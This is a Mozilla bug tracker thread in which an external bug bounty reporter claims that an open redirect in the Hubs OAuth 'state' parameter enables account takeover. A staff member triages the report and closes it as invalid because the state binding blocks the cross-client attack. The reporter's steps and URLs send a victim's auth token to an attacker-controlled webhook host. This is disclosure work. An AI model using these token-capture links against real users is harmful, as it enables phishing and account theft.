Account takeover on open redirect state= parameter
Categories
(Websites :: Hubs, defect)
Tracking
(Not tracked)
People
(Reporter: verticaldark17, Unassigned)
References
()
Details
(Keywords: reporter-external, Whiteboard: [reporter-external] [web-bounty-form] [verif?])
Attachments
(3 files)
Hi team, I found an open redirect vulnerability that can be escalated to account takeover via state= parameter
Payload :
I am using HTTP/Webhook Request to get victim token
https://eoawv1snggf7u7g.m.pipedream.net
Steps & Reproduce :
-
In the state= parameter enter your HTTP/Webhook (I used the payload above to capture the victim's token)
-
Send to Victim
-
The victim logs in
-
victim will be redirected to https://eoawv1snggf7u7g.m.pipedream.net (request sent to attacker's server, contains token in that parameter)
-
the attacker logs into the victim's account using the token changing the domain https://eoawv1snggf7u7g.m.pipedream.net to dashboard.hubs.mozilla.com
-
The victim's account has been successfully taken over by the attacker
| Reporter | ||
Comment 1•3 years ago
|
||
Comment 2•3 years ago
|
||
Hello Muhammad,
Thank you for your report.
I was able to reproduce the issue. The Hubs dashboard on production is not reachable so I tested on staging.
The URL used for authentication is:
https://accounts.stage.mozaws.net/oauth/?client_id=2db93e6523561502&entrypoint=auth.dev.myhubs.net&scope=profile%2Bopenid%2Bhttps%3A%2F%2Fidentity.mozilla.com%2Faccount%2Fsubscriptions&state=<state>%3Afxa%3Ahttps%3A%2F%2Fdashboard.dev.myhubs.net
replace the hubs domain with the attackers server:
https://accounts.stage.mozaws.net/oauth/?client_id=2db93e6523561502&entrypoint=auth.dev.myhubs.net&scope=profile%2Bopenid%2Bhttps%3A%2F%2Fidentity.mozilla.com%2Faccount%2Fsubscriptions&state=<state>%3Afxa%3Ahttps%3A%2F%2F<attacker-controlled-url>
you will be redirected to:
https://<attacker-controlled-url>/?_turkeyauthtoken=<generated token>
However, the state parameter has to be valid, when I use the state parameter on a different browser or in a private tab, I get Not Authorized error. The attack depends on having the victim click on a phishing link which replaces the hubs domain with the attacker controlled domain, but the attacker needs a valid state parameter. How will the attack generate a valid state parameter to include in the phishing link?
I believe this is an issue in how Hubs integrates with Firefox accounts (FxA), not a problem in FxA, were you able to reproduce the problem for other products which rely on Fxa for authentication?
Thanks,
Frida
Comment 3•3 years ago
|
||
the specs has more details on the state parameter: https://www.rfc-editor.org/rfc/rfc6819#section-3.6, which mentions that the state parameter protects against this type of attack, since the parameter is bound to a specific client.
| Reporter | ||
Comment 4•3 years ago
|
||
(In reply to Frida K [:frida] from comment #2)
Hello Muhammad,
Thank you for your report.
I was able to reproduce the issue. The Hubs dashboard on production is not reachable so I tested on staging.
The URL used for authentication is:
https://accounts.stage.mozaws.net/oauth/?client_id=2db93e6523561502&entrypoint=auth.dev.myhubs.net&scope=profile%2Bopenid%2Bhttps%3A%2F%2Fidentity.mozilla.com%2Faccount%2Fsubscriptions&state=<state>%3Afxa%3Ahttps%3A%2F%2Fdashboard.dev.myhubs.netreplace the hubs domain with the attackers server:
https://accounts.stage.mozaws.net/oauth/?client_id=2db93e6523561502&entrypoint=auth.dev.myhubs.net&scope=profile%2Bopenid%2Bhttps%3A%2F%2Fidentity.mozilla.com%2Faccount%2Fsubscriptions&state=<state>%3Afxa%3Ahttps%3A%2F%2F<attacker-controlled-url>you will be redirected to:
https://<attacker-controlled-url>/?_turkeyauthtoken=<generated token>However, the state parameter has to be valid, when I use the state parameter on a different browser or in a private tab, I get Not Authorized error. The attack depends on having the victim click on a phishing link which replaces the hubs domain with the attacker controlled domain, but the attacker needs a valid state parameter. How will the attack generate a valid state parameter to include in the phishing link?
I believe this is an issue in how Hubs integrates with Firefox accounts (FxA), not a problem in FxA, were you able to reproduce the problem for other products which rely on Fxa for authentication?
Thanks,
Frida
Thank you for your answer.
However, in the video I attached it is firefox browser and chrome. and I have also used on opera browser and OPPO mobile's default browser and all of them can reproduce.
and I have tried on several other products and the result is that their state= parameter has been encrypted.
take a look at getpocket :
state parameters are encrypted and cannot be modified by an attacker
here I think that the error lies in the misconfiguration of the unencrypted state parameter in this case
Comment 5•3 years ago
|
||
I am not able to reproduce the issue when generating the state parameter on one browser and trying to get a victim to login on another browser, as you can see in the screenshot.
can you try with this URL generated on my browser: https://accounts.stage.mozaws.net/oauth/signin?client_id=2db93e6523561502&entrypoint=auth.dev.myhubs.net&scope=profile%2Bopenid%2Bhttps%3A%2F%2Fidentity.mozilla.com%2Faccount%2Fsubscriptions&state=4b7d79591499c168dd3138193fc4ad71%3Afxa%3Ahttps%3A%2F%2Fdashboard.dev.myhubs.net
Thanks,
Frida
Comment 6•3 years ago
|
||
| Reporter | ||
Comment 7•3 years ago
|
||
(In reply to Frida K [:frida] from comment #5)
I am not able to reproduce the issue when generating the state parameter on one browser and trying to get a victim to login on another browser, as you can see in the screenshot.
can you try with this URL generated on my browser: https://accounts.stage.mozaws.net/oauth/signin?client_id=2db93e6523561502&entrypoint=auth.dev.myhubs.net&scope=profile%2Bopenid%2Bhttps%3A%2F%2Fidentity.mozilla.com%2Faccount%2Fsubscriptions&state=4b7d79591499c168dd3138193fc4ad71%3Afxa%3Ahttps%3A%2F%2Fdashboard.dev.myhubs.net
Thanks,
Frida
Hi, I want to confirm this.
I also get an Unauthorized error.
| Reporter | ||
Comment 8•3 years ago
|
||
Hi, I also have a few
information.
that if a vulnerable url is pasted with javascript:alert() an Unauthorized error will appear.
| Reporter | ||
Comment 9•3 years ago
|
||
It looks like this state parameter only passes external domains not allowing javascript redirects.
But I'm still confused by the description above, why is this url I found passed to an external site, but when you try to test it on staging it gets an error Not Authorized
| Reporter | ||
Comment 10•3 years ago
|
||
Can you log into the victim's account using the token?
| Reporter | ||
Comment 11•3 years ago
|
||
| Reporter | ||
Comment 12•3 years ago
|
||
(In reply to Frida K [:frida] from comment #5)
I am not able to reproduce the issue when generating the state parameter on one browser and trying to get a victim to login on another browser, as you can see in the screenshot.
can you try with this URL generated on my browser: https://accounts.stage.mozaws.net/oauth/signin?client_id=2db93e6523561502&entrypoint=auth.dev.myhubs.net&scope=profile%2Bopenid%2Bhttps%3A%2F%2Fidentity.mozilla.com%2Faccount%2Fsubscriptions&state=4b7d79591499c168dd3138193fc4ad71%3Afxa%3Ahttps%3A%2F%2Fdashboard.dev.myhubs.net
Thanks,
Frida
Hi, after I noticed and tried.
I found something. please try logging in with this url you posted before:
https://accounts.stage.mozaws.net/oauth/signin?client_id=2db93e6523561502&entrypoint=auth.dev.myhubs.net&scope=profile%2Bopenid%2Bhttps%3A%2F%2Fidentity.mozilla.com%2Faccount%2Fsubscriptions&state=4b7d79591499c168dd3138193% c47ad1%c47ad1%c47ad1% 3Afxa%3Ahttps%3A%2F%2Fdashboard.dev.myhubs.net
if you use "dashboard.dev.myhubs.net" you will also get Unauthorized error.
is there an error in the staging test?
Comment 13•3 years ago
•
|
||
I don't think there is a problem with the staging server, this is how the application is supposed to work. I am still not able to access the production instance, I will check with the team if there is a problem there. I will test on production when I get the chance.
If you were able to generate the token for the victim, then you can login, we confirmed that. However, for the attack to be successful, you need to trick the users into authenticating so that you can get their authentication token, and this part is not possible because of the state parameter.
| Reporter | ||
Comment 14•3 years ago
|
||
i think this reference helps
https://infosecwriteups.com/exploiting-misconfigured-oauth-to-takeover-accounts-225a367bca43
Comment 15•3 years ago
|
||
I just tried testing on production and I get the same error. I think the state parameter is serving its purpose and protecting against this attack.
Comment 16•3 years ago
|
||
| Reporter | ||
Comment 17•3 years ago
|
||
I just need to submit the url below to get the victim token :
https://accounts.firefox.com/oauth/signin?client_id=34bc0d0a6add7329&entrypoint=auth.myhubs.dev&scope=profile%2Bopenid%2Bhttps%3A%2F%2Fidentity.mozilla.com%2Faccount%2Fsubscriptions&state=89d2f3f041a7f8210e7cd3904536 3A%2F%2Fhttps://eoawv1snggf7u7g.m.pipedream.net/
When the victim is redirected to eoawv1snggf7u7g.m.pipedream.net I get a parameter containing the victim's token and I can do a takeover there
| Reporter | ||
Comment 18•3 years ago
|
||
sorry, I sent the wrong one.
this is the newest link
Comment 19•3 years ago
•
|
||
I just tried the URL you posted in comment 17 and comment 18, and I got Not Authorized error.
Logging in with the victim's account only works if you use the state parameter you generated in a client then try to login with this URL on the same client.
For an account takeover scenario, the below should happen:
- generate the oauth url which has the attacker's controlled domain in the attacker's client
- trick the user into clicking the url and logging in with their Firefox account.
- receive the authtoken generated for the user on the attacker's end.
In Hubs case, the second step is not working because the state parameter generated on the attacker's client is not valid on the victim's client, therefore, we are getting the Not Authorized error.
| Reporter | ||
Comment 20•3 years ago
|
||
I see, sorry I'm not paying enough attention to this. after I search correctly according to your opinion
Comment 21•3 years ago
|
||
To make sure I understood your comment correctly, do you agree that the account takeover is not actually possible because of the state parameter?
Thanks,
Frida
| Reporter | ||
Comment 22•3 years ago
|
||
I'm not saying that account takeover is not possible, currently account takeover is possible by an attacker on his account, but it is not possible to attack someone.
but I think in the future it will be dangerous if this continues
Comment 23•3 years ago
|
||
I am glad we were able to come to an agreement. I believe that we are implementing the necessary mitigations against this risk, therefore, I am closing this report as invalid.
Thanks again for your report.
Updated•3 years ago
|
Updated•2 years ago
|
Updated•1 year ago
|
Description
•